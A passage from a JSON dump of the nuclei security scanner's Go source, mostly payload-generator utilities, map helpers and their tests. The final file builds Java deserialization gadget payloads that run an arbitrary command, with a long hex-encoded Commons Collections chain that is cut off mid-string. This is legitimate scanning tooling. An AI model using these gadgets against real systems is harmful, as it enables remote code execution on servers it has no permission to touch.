:= io.NopCloser(strings.NewReader(\"a\\n\\n\\n b \\n\"))\n\tlines, err := g.loadPayloadsFromFile(rc)\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tif len(lines) != 2 || lines[0] != \"a\" || lines[1] != \" b \" {\n\t\tt.Fatalf(\"unexpected: %#v\", lines)\n\t}\n}\n\nfunc TestValidate_AllowsInlineMultiline(t *testing.T) {\n\tg := newTestGenerator()\n\tinline := \"x\\ny\\n\"\n\tif err := g.validate(map[string]interface{}{\"E\": inline}, \"\"); err != nil {\n\t\tt.Fatalf(\"validate rejected inline multiline: %v\", err)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/maps.go",
    "content": "package generators\n\nimport (\n\tmaps0 \"maps\"\n\t\"reflect\"\n)\n\n// MergeMapsMany merges many maps into a new map\nfunc MergeMapsMany(maps ...interface{}) map[string][]string {\n\tm := make(map[string][]string)\n\tfor _, gotMap := range maps {\n\t\tval := reflect.ValueOf(gotMap)\n\t\tif val.Kind() != reflect.Map {\n\t\t\tcontinue\n\t\t}\n\t\tappendToSlice := func(key, value string) {\n\t\t\tif values, ok := m[key]; !ok {\n\t\t\t\tm[key] = []string{value}\n\t\t\t} else {\n\t\t\t\tm[key] = append(values, value)\n\t\t\t}\n\t\t}\n\t\tfor _, e := range val.MapKeys() {\n\t\t\tv := val.MapIndex(e)\n\t\t\tswitch v.Kind() {\n\t\t\tcase reflect.Slice, reflect.Array:\n\t\t\t\tfor i := 0; i < v.Len(); i++ {\n\t\t\t\t\tappendToSlice(e.String(), v.Index(i).String())\n\t\t\t\t}\n\t\t\tcase reflect.String:\n\t\t\t\tappendToSlice(e.String(), v.String())\n\t\t\tcase reflect.Interface:\n\t\t\t\tswitch data := v.Interface().(type) {\n\t\t\t\tcase string:\n\t\t\t\t\tappendToSlice(e.String(), data)\n\t\t\t\tcase []string:\n\t\t\t\t\tfor _, value := range data {\n\t\t\t\t\t\tappendToSlice(e.String(), value)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn m\n}\n\n// MergeMaps merges multiple maps into a new map.\n//\n// Use [CopyMap] if you need to copy a single map.\n// Use [MergeMapsInto] to merge into an existing map.\nfunc MergeMaps(maps ...map[string]interface{}) map[string]interface{} {\n\tmapsLen := 0\n\tfor _, m := range maps {\n\t\tmapsLen += len(m)\n\t}\n\n\tmerged := make(map[string]interface{}, mapsLen)\n\tfor _, m := range maps {\n\t\tmaps0.Copy(merged, m)\n\t}\n\n\treturn merged\n}\n\n// CopyMap creates a shallow copy of a single map.\nfunc CopyMap(m map[string]interface{}) map[string]interface{} {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\tresult := make(map[string]interface{}, len(m))\n\tmaps0.Copy(result, m)\n\n\treturn result\n}\n\n// MergeMapsInto copies all entries from src maps into dst (mutating dst).\n//\n// Use when dst is a fresh map the caller owns and wants to avoid allocation.\nfunc MergeMapsInto(dst map[string]interface{}, srcs ...map[string]interface{}) {\n\tfor _, src := range srcs {\n\t\tmaps0.Copy(dst, src)\n\t}\n}\n\n// ExpandMapValues converts values from flat string to string slice\nfunc ExpandMapValues(m map[string]string) map[string][]string {\n\tm1 := make(map[string][]string, len(m))\n\tfor k, v := range m {\n\t\tm1[k] = []string{v}\n\t}\n\n\treturn m1\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/maps_bench_test.go",
    "content": "package generators\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc BenchmarkMergeMaps(b *testing.B) {\n\tmap1 := map[string]interface{}{\n\t\t\"key1\": \"value1\",\n\t\t\"key2\": \"value2\",\n\t\t\"key3\": \"value3\",\n\t\t\"key4\": \"value4\",\n\t\t\"key5\": \"value5\",\n\t}\n\tmap2 := map[string]interface{}{\n\t\t\"key6\":  \"value6\",\n\t\t\"key7\":  \"value7\",\n\t\t\"key8\":  \"value8\",\n\t\t\"key9\":  \"value9\",\n\t\t\"key10\": \"value10\",\n\t}\n\tmap3 := map[string]interface{}{\n\t\t\"key11\": \"value11\",\n\t\t\"key12\": \"value12\",\n\t\t\"key13\": \"value13\",\n\t}\n\n\tfor i := 1; i <= 3; i++ {\n\t\tb.Run(fmt.Sprintf(\"%d-maps\", i), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor b.Loop() {\n\t\t\t\tswitch i {\n\t\t\t\tcase 1:\n\t\t\t\t\t_ = MergeMaps(map1)\n\t\t\t\tcase 2:\n\t\t\t\t\t_ = MergeMaps(map1, map2)\n\t\t\t\tcase 3:\n\t\t\t\t\t_ = MergeMaps(map1, map2, map3)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc BenchmarkCopyMap(b *testing.B) {\n\tmap1 := map[string]interface{}{\n\t\t\"key1\": \"value1\",\n\t\t\"key2\": \"value2\",\n\t\t\"key3\": \"value3\",\n\t\t\"key4\": \"value4\",\n\t\t\"key5\": \"value5\",\n\t}\n\n\tfor i := 1; i <= 1; i++ {\n\t\tb.Run(fmt.Sprintf(\"%d-maps\", i), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor b.Loop() {\n\t\t\t\tswitch i {\n\t\t\t\tcase 1:\n\t\t\t\t\t_ = CopyMap(map1)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc BenchmarkMergeMapsInto(b *testing.B) {\n\tmap1 := map[string]interface{}{\n\t\t\"key1\": \"value1\",\n\t\t\"key2\": \"value2\",\n\t\t\"key3\": \"value3\",\n\t\t\"key4\": \"value4\",\n\t\t\"key5\": \"value5\",\n\t}\n\tmap2 := map[string]interface{}{\n\t\t\"key6\":  \"value6\",\n\t\t\"key7\":  \"value7\",\n\t\t\"key8\":  \"value8\",\n\t\t\"key9\":  \"value9\",\n\t\t\"key10\": \"value10\",\n\t}\n\tmap3 := map[string]interface{}{\n\t\t\"key11\": \"value11\",\n\t\t\"key12\": \"value12\",\n\t\t\"key13\": \"value13\",\n\t}\n\tmap4 := map[string]interface{}{\n\t\t\"key14\": \"value14\",\n\t\t\"key15\": \"value15\",\n\t\t\"key16\": \"value16\",\n\t}\n\n\tfor i := 1; i <= 3; i++ {\n\t\tb.Run(fmt.Sprintf(\"%d-maps\", i), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor b.Loop() {\n\t\t\t\tswitch i {\n\t\t\t\tcase 1:\n\t\t\t\t\tMergeMapsInto(map1, map2)\n\t\t\t\tcase 2:\n\t\t\t\t\tMergeMapsInto(map1, map2, map3)\n\t\t\t\tcase 3:\n\t\t\t\t\tMergeMapsInto(map1, map2, map3, map4)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/maps_test.go",
    "content": "package generators\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMergeMapsMany(t *testing.T) {\n\tgot := MergeMapsMany(map[string]interface{}{\"a\": []string{\"1\", \"2\"}, \"c\": \"5\"}, map[string][]string{\"b\": {\"3\", \"4\"}})\n\trequire.Equal(t, map[string][]string{\n\t\t\"a\": {\"1\", \"2\"},\n\t\t\"b\": {\"3\", \"4\"},\n\t\t\"c\": {\"5\"},\n\t}, got, \"could not get correct merged map\")\n}\n\nfunc TestMergeMapsAndExpand(t *testing.T) {\n\tm1 := map[string]interface{}{\"a\": \"1\"}\n\tm2 := map[string]interface{}{\"b\": \"2\"}\n\tout := MergeMaps(m1, m2)\n\tif out[\"a\"].(string) != \"1\" || out[\"b\"].(string) != \"2\" {\n\t\tt.Fatalf(\"unexpected merge: %#v\", out)\n\t}\n\tflat := map[string]string{\"x\": \"y\"}\n\texp := ExpandMapValues(flat)\n\tif len(exp[\"x\"]) != 1 || exp[\"x\"][0] != \"y\" {\n\t\tt.Fatalf(\"unexpected expand: %#v\", exp)\n\t}\n}\n\nfunc TestIteratorRemaining(t *testing.T) {\n\tg, err := New(map[string]interface{}{\"k\": []interface{}{\"a\", \"b\"}}, BatteringRamAttack, \"\", nil, \"\", nil)\n\tif err != nil {\n\t\tt.Fatalf(\"new: %v\", err)\n\t}\n\tit := g.NewIterator()\n\tif it.Total() != 2 || it.Remaining() != 2 {\n\t\tt.Fatalf(\"unexpected totals: %d %d\", it.Total(), it.Remaining())\n\t}\n\t_, _ = it.Value()\n\tif it.Remaining() != 1 {\n\t\tt.Fatalf(\"unexpected remaining after one: %d\", it.Remaining())\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/options.go",
    "content": "package generators\n\nimport (\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// optionsPayloadMap caches the result of BuildPayloadFromOptions per options\n// pointer. This supports multiple SDK instances with different options running\n// concurrently.\nvar optionsPayloadMap sync.Map // map[*types.Options]map[string]interface{}\n\n// BuildPayloadFromOptions returns a map with the payloads provided via CLI.\n//\n// The result is cached per options pointer since options don't change during a run.\n// Returns a copy of the cached map to prevent concurrent modification issues.\n// Safe for concurrent use with multiple SDK instances.\nfunc BuildPayloadFromOptions(options *types.Options) map[string]interface{} {\n\tif options == nil {\n\t\treturn make(map[string]interface{})\n\t}\n\n\tif cached, ok := optionsPayloadMap.Load(options); ok {\n\t\treturn CopyMap(cached.(map[string]interface{}))\n\t}\n\n\tm := make(map[string]interface{})\n\n\t// merge with vars\n\tif !options.Vars.IsEmpty() {\n\t\tm = MergeMaps(m, options.Vars.AsMap())\n\t}\n\n\t// merge with env vars\n\tif options.EnvironmentVariables {\n\t\tm = MergeMaps(EnvVars(), m)\n\t}\n\n\tactual, _ := optionsPayloadMap.LoadOrStore(options, m)\n\n\t// Return a copy to prevent concurrent writes to the cached map\n\treturn CopyMap(actual.(map[string]interface{}))\n}\n\n// ClearOptionsPayloadMap clears the cached options payload.\n// SDK users should call this when disposing of a NucleiEngine instance\n// to prevent memory leaks if creating many short-lived instances.\nfunc ClearOptionsPayloadMap(options *types.Options) {\n\tif options != nil {\n\t\toptionsPayloadMap.Delete(options)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/options_bench_test.go",
    "content": "package generators\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\nfunc BenchmarkBuildPayloadFromOptions(b *testing.B) {\n\t// Setup options with vars and env vars\n\tvars := goflags.RuntimeMap{}\n\t_ = vars.Set(\"key1=value1\")\n\t_ = vars.Set(\"key2=value2\")\n\t_ = vars.Set(\"key3=value3\")\n\t_ = vars.Set(\"key4=value4\")\n\t_ = vars.Set(\"key5=value5\")\n\n\topts := &types.Options{\n\t\tVars:                 vars,\n\t\tEnvironmentVariables: true, // This adds more entries\n\t}\n\n\tb.Run(\"Sequential\", func(b *testing.B) {\n\t\tClearOptionsPayloadMap(opts)\n\n\t\tb.ReportAllocs()\n\t\tfor b.Loop() {\n\t\t\t_ = BuildPayloadFromOptions(opts)\n\t\t}\n\t})\n\n\tb.Run(\"Parallel\", func(b *testing.B) {\n\t\tClearOptionsPayloadMap(opts)\n\n\t\tb.ReportAllocs()\n\t\tb.RunParallel(func(pb *testing.PB) {\n\t\t\tfor pb.Next() {\n\t\t\t\tm := BuildPayloadFromOptions(opts)\n\t\t\t\t// Simulate typical usage - read a value\n\t\t\t\t_ = m[\"key1\"]\n\t\t\t}\n\t\t})\n\t})\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/options_test.go",
    "content": "package generators\n\nimport (\n\t\"sync\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestBuildPayloadFromOptionsConcurrency(t *testing.T) {\n\t// Test that BuildPayloadFromOptions is safe for concurrent use\n\t// and returns independent copies that can be modified without races\n\tvars := goflags.RuntimeMap{}\n\t_ = vars.Set(\"key=value\")\n\n\topts := &types.Options{\n\t\tVars: vars,\n\t}\n\n\tconst numGoroutines = 100\n\tvar wg sync.WaitGroup\n\twg.Add(numGoroutines)\n\n\t// Each goroutine gets a map and modifies it\n\tfor i := 0; i < numGoroutines; i++ {\n\t\tgo func(id int) {\n\t\t\tdefer wg.Done()\n\n\t\t\t// Get the map (should be a copy of cached data)\n\t\t\tm := BuildPayloadFromOptions(opts)\n\n\t\t\t// Modify it - this should not cause races\n\t\t\tm[\"goroutine_id\"] = id\n\t\t\tm[\"test_key\"] = \"test_value\"\n\n\t\t\t// Verify original cached value is present\n\t\t\trequire.Equal(t, \"value\", m[\"key\"])\n\t\t}(i)\n\t}\n\n\twg.Wait()\n}\n\nfunc TestBuildPayloadFromOptionsCaching(t *testing.T) {\n\t// Test that caching actually works\n\tvars := goflags.RuntimeMap{}\n\t_ = vars.Set(\"cached=yes\")\n\n\topts := &types.Options{\n\t\tVars:                 vars,\n\t\tEnvironmentVariables: false,\n\t}\n\n\t// First call - builds and caches\n\tm1 := BuildPayloadFromOptions(opts)\n\trequire.Equal(t, \"yes\", m1[\"cached\"])\n\n\t// Second call - should return copy of cached result\n\tm2 := BuildPayloadFromOptions(opts)\n\trequire.Equal(t, \"yes\", m2[\"cached\"])\n\n\t// Modify m1 - should not affect m2 since they're copies\n\tm1[\"modified\"] = \"in_m1\"\n\trequire.NotContains(t, m2, \"modified\")\n\n\t// Modify m2 - should not affect future calls\n\tm2[\"modified\"] = \"in_m2\"\n\tm3 := BuildPayloadFromOptions(opts)\n\trequire.NotContains(t, m3, \"modified\")\n}\n\nfunc TestClearOptionsPayloadMap(t *testing.T) {\n\tvars := goflags.RuntimeMap{}\n\t_ = vars.Set(\"temp=data\")\n\n\topts := &types.Options{\n\t\tVars: vars,\n\t}\n\n\t// Build and cache\n\tm1 := BuildPayloadFromOptions(opts)\n\trequire.Equal(t, \"data\", m1[\"temp\"])\n\n\t// Clear the cache\n\tClearOptionsPayloadMap(opts)\n\n\t// Verify it still works (rebuilds)\n\tm2 := BuildPayloadFromOptions(opts)\n\trequire.Equal(t, \"data\", m2[\"temp\"])\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/slice.go",
    "content": "package generators\n\nimport stringsutil \"github.com/projectdiscovery/utils/strings\"\n\n// SliceToMap converts a slice of strings to map of string splitting each item at sep as \"key sep value\"\nfunc SliceToMap(s []string, sep string) map[string]interface{} {\n\tm := make(map[string]interface{})\n\tfor _, sliceItem := range s {\n\t\tkey, _ := stringsutil.Before(sliceItem, sep)\n\t\tvalue, _ := stringsutil.After(sliceItem, sep)\n\t\tif key != \"\" {\n\t\t\tm[key] = value\n\t\t}\n\t}\n\treturn m\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/validate.go",
    "content": "package generators\n\nimport (\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n)\n\n// validate validates the payloads if any.\nfunc (g *PayloadGenerator) validate(payloads map[string]interface{}, templatePath string) error {\n\tfor name, payload := range payloads {\n\t\tswitch payloadType := payload.(type) {\n\t\tcase string:\n\t\t\tif strings.ContainsRune(payloadType, '\\n') {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// For historical reasons, \"validate\" checks to see if the payload file exist.\n\t\t\t// If we're using a custom helper function, then we need to skip any validation beyond just checking the string syntax.\n\t\t\t// Actually attempting to load the file will determine whether or not it exists.\n\t\t\tif g.options.LoadHelperFileFunction != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// check if it's a file and try to load it\n\t\t\tif fileutil.FileExists(payloadType) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// if file already exists in nuclei-templates directory, skip any further checks\n\t\t\tif fileutil.FileExists(filepath.Join(config.DefaultConfig.GetTemplateDir(), payloadType)) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// in below code, we calculate all possible paths from root and try to resolve the payload\n\t\t\t// at each level of the path. if the payload is found, we break the loop and continue\n\t\t\t// ex: template-path: /home/user/nuclei-templates/cves/2020/CVE-2020-1234.yaml\n\t\t\t// then we check if helper file \"my-payload.txt\" exists at below paths:\n\t\t\t// 1. /home/user/nuclei-templates/cves/2020/my-payload.txt\n\t\t\t// 2. /home/user/nuclei-templates/cves/my-payload.txt\n\t\t\t// 3. /home/user/nuclei-templates/my-payload.txt\n\t\t\t// 4. /home/user/my-payload.txt\n\t\t\t// 5. /home/my-payload.txt\n\t\t\tchanged := false\n\n\t\t\tdir, _ := filepath.Split(templatePath)\n\t\t\ttemplatePathInfo, _ := folderutil.NewPathInfo(dir)\n\t\t\tpayloadPathsToProbe, _ := templatePathInfo.MeshWith(payloadType)\n\n\t\t\tfor _, payloadPath := range payloadPathsToProbe {\n\t\t\t\tif fileutil.FileExists(payloadPath) {\n\t\t\t\t\tpayloads[name] = payloadPath\n\t\t\t\t\tchanged = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !changed {\n\t\t\t\treturn fmt.Errorf(\"the %s file for payload %s does not exist or does not contain enough elements\", payloadType, name)\n\t\t\t}\n\t\tcase interface{}:\n\t\t\tloadedPayloads := types.ToStringSlice(payloadType)\n\t\t\tif len(loadedPayloads) == 0 {\n\t\t\t\treturn fmt.Errorf(\"the payload %s does not contain enough elements\", name)\n\t\t\t}\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"the payload %s has invalid type\", name)\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/protocols/common/globalmatchers/globalmatchers.go",
    "content": "package globalmatchers\n\nimport (\n\t\"maps\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n)\n\n// Storage is a struct that holds the global matchers\ntype Storage struct {\n\trequests []*Item\n}\n\n// Callback is called when a global matcher is matched.\n// It receives internal event & result of the operator execution.\ntype Callback func(event output.InternalEvent, result *operators.Result)\n\n// Item is a struct that holds the global matchers\n// details for a template\ntype Item struct {\n\tTemplateID   string\n\tTemplatePath string\n\tTemplateInfo model.Info\n\tOperators    []*operators.Operators\n}\n\n// New creates a new storage for global matchers\nfunc New() *Storage {\n\treturn &Storage{requests: make([]*Item, 0)}\n}\n\n// hasStorage checks if the Storage is initialized\nfunc (s *Storage) hasStorage() bool {\n\treturn s != nil\n}\n\n// AddOperator adds a new operator to the global matchers\nfunc (s *Storage) AddOperator(item *Item) {\n\tif !s.hasStorage() {\n\t\treturn\n\t}\n\n\ts.requests = append(s.requests, item)\n}\n\n// HasMatchers returns true if we have global matchers\nfunc (s *Storage) HasMatchers() bool {\n\tif !s.hasStorage() {\n\t\treturn false\n\t}\n\n\treturn len(s.requests) > 0\n}\n\n// Match matches the global matchers against the response\nfunc (s *Storage) Match(\n\tevent output.InternalEvent,\n\tmatchFunc operators.MatchFunc,\n\textractFunc operators.ExtractFunc,\n\tisDebug bool,\n\tcallback Callback,\n) {\n\tfor _, item := range s.requests {\n\t\tfor _, operator := range item.Operators {\n\t\t\tnewEvent := maps.Clone(event)\n\t\t\tnewEvent.Set(\"origin-template-id\", event[\"template-id\"])\n\t\t\tnewEvent.Set(\"origin-template-info\", event[\"template-info\"])\n\t\t\tnewEvent.Set(\"origin-template-path\", event[\"template-path\"])\n\t\t\tnewEvent.Set(\"template-id\", item.TemplateID)\n\t\t\tnewEvent.Set(\"template-info\", item.TemplateInfo)\n\t\t\tnewEvent.Set(\"template-path\", item.TemplatePath)\n\t\t\tnewEvent.Set(\"global-matchers\", true)\n\n\t\t\tresult, matched := operator.Execute(newEvent, matchFunc, extractFunc, isDebug)\n\t\t\tif !matched {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tcallback(newEvent, result)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/deserialization/deserialization.go",
    "content": "// Package deserialization implements helpers for deserialization issues in nuclei.\npackage deserialization\n"
  },
  {
    "path": "pkg/protocols/common/helpers/deserialization/helpers.go",
    "content": "package deserialization\n\nimport \"bytes\"\n\nfunc InsertInto(s string, interval int, sep rune) string {\n\tvar buffer bytes.Buffer\n\tbefore := interval - 1\n\tlast := len(s) - 1\n\tfor i, char := range s {\n\t\tbuffer.WriteRune(char)\n\t\tif i%interval == before && i != last {\n\t\t\tbuffer.WriteRune(sep)\n\t\t}\n\t}\n\tbuffer.WriteRune(sep)\n\treturn buffer.String()\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/deserialization/java.go",
    "content": "package deserialization\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"net/url\"\n\t\"strings\"\n)\n\n// Taken from: https://github.com/joaomatosf/jexboss/blob/master/_exploits.py\n// All credits goes to original authors of the Jexboss Project.\n\n// GenerateJavaGadget generates a gadget with a command and encoding.\n// If blank, by default gadgets are returned base64 encoded.\nfunc GenerateJavaGadget(gadget, cmd, encoding string) string {\n\tvar returnData []byte\n\n\tswitch gadget {\n\tcase \"dns\":\n\t\treturnData = generateDNSPayload(cmd)\n\tcase \"jdk7u21\":\n\t\treturnData = generatejdk7u21Payload(cmd)\n\tcase \"jdk8u20\":\n\t\treturnData = generatejdk8u20Payload(cmd)\n\tcase \"commons-collections3.1\":\n\t\treturnData = generateCommonsCollections31Payload(cmd)\n\tcase \"commons-collections4.0\":\n\t\treturnData = generateCommonsCollections40Payload(cmd)\n\tcase \"groovy1\":\n\t\treturnData = generateGroovy1Payload(cmd)\n\tdefault:\n\t\treturn \"\"\n\t}\n\tif returnData == nil {\n\t\treturn \"\"\n\t}\n\treturn gadgetEncodingHelper(returnData, encoding)\n}\n\n// gadgetEncodingHelper performs encoding of the generated gadget based on provided\n// options.\nfunc gadgetEncodingHelper(returnData []byte, encoding string) string {\n\tswitch encoding {\n\tcase \"raw\":\n\t\treturn string(returnData)\n\tcase \"hex\":\n\t\treturn hex.EncodeToString(returnData)\n\tcase \"gzip\":\n\t\tbuffer := &bytes.Buffer{}\n\t\twriter := gzip.NewWriter(buffer)\n\t\tif _, err := writer.Write(returnData); err != nil {\n\t\t\treturn \"\"\n\t\t}\n\t\t_ = writer.Close()\n\t\treturn buffer.String()\n\tcase \"gzip-base64\":\n\t\tbuffer := &bytes.Buffer{}\n\t\twriter := gzip.NewWriter(buffer)\n\t\tif _, err := writer.Write(returnData); err != nil {\n\t\t\treturn \"\"\n\t\t}\n\t\t_ = writer.Close()\n\t\treturn urlsafeBase64Encode(buffer.Bytes())\n\tcase \"base64-raw\":\n\t\treturn base64.StdEncoding.EncodeToString(returnData)\n\tdefault:\n\t\treturn urlsafeBase64Encode(returnData)\n\t}\n}\n\nfunc urlsafeBase64Encode(data []byte) string {\n\treturn strings.ReplaceAll(base64.StdEncoding.EncodeToString(data), \"+\", \"%2B\")\n}\n\n// generateCommonsCollections40Payload generates org.apache.commons:commons-collections4:4.0\n// deserialization payload for a command.\nfunc generateCommonsCollections40Payload(cmd string) []byte {\n\tbuffer := &bytes.Buffer{}\n\n\tprefix, _ := hex.DecodeString(\"ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002E5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B78707572002E5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E5472616E73666F726D65723B39813AFB08DA3FA50200007870000000027372003C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00144C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000068CCAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100\")\n\tbuffer.Write(prefix)\n\tbuffer.WriteString(string(rune(len(cmd))))\n\tbuffer.WriteString(cmd)\n\tsuffix, _ := hex.DecodeString(\"08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401001E79736F73657269616C2F50776E65723131353636353933373838363330390100204C79736F73657269616C2F50776E65723131353636353933373838363330393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E001F000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A010023797